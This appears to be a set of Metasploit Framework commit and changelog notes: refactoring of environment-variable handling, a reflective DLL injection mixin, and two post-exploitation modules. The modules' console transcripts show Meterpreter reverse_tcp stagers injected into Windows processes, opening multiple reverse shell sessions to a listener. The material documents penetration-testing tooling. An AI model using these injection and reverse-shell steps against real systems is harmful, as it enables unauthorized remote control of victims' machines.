Stacks of modules were using `extract_path` where it wasn't really semantically correct
because this was the only way to expand environment variables. This commit fixes that
up a bit.
Also, I changed the existing `getenv` function in `stdapi` to `getenvs`, and had it
support the splat operator. I added a `getenv` function which is used just for a
single variable and uses `getenvs` behind the scenes.
The meterpreter console `getenv` command now uses `getenvs`
Now broken into two modules, one for loading RDI DLLs off disk and
finding the loader function offset, and another for doing the process
specific stuff of loading into the target.
MSF was starting to see more modules using RDI to load binaries into
remote processes, so it made sense to create a mixin which contained
the functionality that was being used in various locations.
This commit contains the new mixin, and adjustments to all the existing
exploits and modules which use RDI.
Updated the comments and indentation so they're not blatantly wrong.
Adjusted the pxexploit module so that it doesn't break any more as
a result of the refactoring.
We use system %PATH% for notepad executable instead of the absolute
path, because it caused a problem with the migrate script in a 64-bit
meterpreter session. By default the wordpad binary is not in the
%PATH%, so the condition in hp_nnm_ovbuildpath_textfile.rb was not
changed.
Added support to specify multiple payload delivery options.
msf post(payload_inject) > show options
Module options (post/windows/manage/payload_inject):
Name Current Setting Required Description
---- --------------- -------- -----------
AMOUNT 2 no Select the amount of shells you want to spawn.
HANDLER false no Start an Exploit Multi Handler to receive the connection
LHOST XXXXXXXX yes IP of host that will receive the connection from the payload.
LPORT 4433 no Port for Payload to connect to.
OPTIONS #<Msf::OptInt:0x007f5c6439c6d8> no Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.
PAYLOAD windows/meterpreter/reverse_tcp no Windows Payload to inject into memory of a process.
PID no Process Identifier to inject of process to inject payload.
SESSION 1 yes The session to run this module on.
msf post(payload_inject) > set HANDLER true
HANDLER => true
msf post(payload_inject) > exploit
[*] Running module against XXXXXXXX
[*] Starting exploit multi handler
[*] Performing Architecture Check
[*] Started reverse handler on XXXXXXXX:4433
[*] Starting the payload handler...
[*] Process found checking Architecture
[+] Process is the same architecture as the payload
[*] Injecting Windows Meterpreter (Reflective Injection), Reverse TCP Stager into process ID 884
[*] Opening process 884
[*] Generating payload
[*] Allocating memory in procees 884
[*] Allocated memory at address 0x003b0000, for 290 byte stager
[*] Writing the stager into memory...
[*] Sending stage (770048 bytes) to XXXXXXXX
[+] Successfully injected payload in to process: 884
[*] Performing Architecture Check
[*] Process found checking Architecture
[+] Process is the same architecture as the payload
[*] Injecting Windows Meterpreter (Reflective Injection), Reverse TCP Stager into process ID 884
[*] Opening process 884
[*] Generating payload
[*] Allocating memory in procees 884
[*] Allocated memory at address 0x00ba0000, for 290 byte stager
[*] Writing the stager into memory...
[+] Successfully injected payload in to process: 884
[*] Post module execution completed
msf post(payload_inject) > [*] Meterpreter session 2 opened (XXXXXXXX:4433 -> XXXXXXXX:2962) at 2013-10-09 21:54:25 -0400
[*] Sending stage (770048 bytes) to XXXXXXXX
msf post(payload_inject) > [*] Meterpreter session 3 opened (XXXXXXXX:4433 -> XXXXXXXX:2963) at 2013-10-09 21:54:27 -0400
Ran into a pentest recently where I had a flaky meterpreter shell, had it launch multiple ones just to be safe. The amount datastore allows you to iterate through and spawn multiple sessions.
msf exploit(psexec) > use post/windows/manage/multi_meterpreter_inject
msf post(multi_meterpreter_inject) > show options
Module options (post/windows/manage/multi_meterpreter_inject):
Name Current Setting Required Description
---- --------------- -------- -----------
AMOUNT 1 no Select the amount of shells you want to spawn.
HANDLER false no Start new multi/handler job on local box.
IPLIST XXXXXXXXX yes List of semicolom separated IP list.
LPORT 4444 no Port number for the payload LPORT variable.
PAYLOAD windows/meterpreter/reverse_tcp no Payload to inject in to process memory
PIDLIST no List of semicolom separated PID list.
SESSION yes The session to run this module on.
msf post(multi_meterpreter_inject) > set AMOUNT 5
AMOUNT => 5
msf post(multi_meterpreter_inject) > set HANDLER true
HANDLER => true
msf post(multi_meterpreter_inject) > set SESSION 1
SESSION => 1
msf post(multi_meterpreter_inject) > exploit
[*] Running module against XXXXXXXXX
[*] Starting connection handler at port 4444 for windows/meterpreter/reverse_tcp
[+] Multi/Handler started!
[*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444
[+] Starting Notepad.exe to house Meterpreter Session.
[+] Process created with pid 5400
[*] Injecting meterpreter into process ID 5400
[*] Allocated memory at address 0x003b0000, for 290 byte stager
[*] Writing the stager into memory...
[+] Successfully injected Meterpreter in to process: 5400
[*] Meterpreter session 2 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4991) at 2013-10-09 18:04:02 -0400
[*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444
[+] Starting Notepad.exe to house Meterpreter Session.
[+] Process created with pid 4136
[*] Injecting meterpreter into process ID 4136
[*] Allocated memory at address 0x003b0000, for 290 byte stager
[*] Writing the stager into memory...
[+] Successfully injected Meterpreter in to process: 4136
[*] Meterpreter session 3 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4992) at 2013-10-09 18:04:08 -0400
[*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444
[+] Starting Notepad.exe to house Meterpreter Session.
[+] Process created with pid 4108
[*] Injecting meterpreter into process ID 4108
[*] Allocated memory at address 0x003b0000, for 290 byte stager
[*] Writing the stager into memory...
[+] Successfully injected Meterpreter in to process: 4108
[*] Meterpreter session 4 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4993) at 2013-10-09 18:04:13 -0400
[*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444
[+] Starting Notepad.exe to house Meterpreter Session.
[+] Process created with pid 5788
[*] Injecting meterpreter into process ID 5788
[*] Allocated memory at address 0x003b0000, for 290 byte stager
[*] Writing the stager into memory...
[+] Successfully injected Meterpreter in to process: 5788
[*] Meterpreter session 5 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4994) at 2013-10-09 18:04:19 -0400
[*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444
[+] Starting Notepad.exe to house Meterpreter Session.
[+] Process created with pid 1408
[*] Injecting meterpreter into process ID 1408
[*] Allocated memory at address 0x003b0000, for 290 byte stager
[*] Writing the stager into memory...
[+] Successfully injected Meterpreter in to process: 1408
[*] Meterpreter session 6 opened (XXXXXXXXX:4444 -> XXXXXXXXX:1029) at 2013-10-09 18:04:24 -0400
[*] Post module execution completed
msf post(multi_meterpreter_inject) >
Tod Beardsley
Meatballs
OJ
sinn3r
jvazquez-r7
bmerinofe
Norbert Szetei
trustedsec
David Maloney
James Lee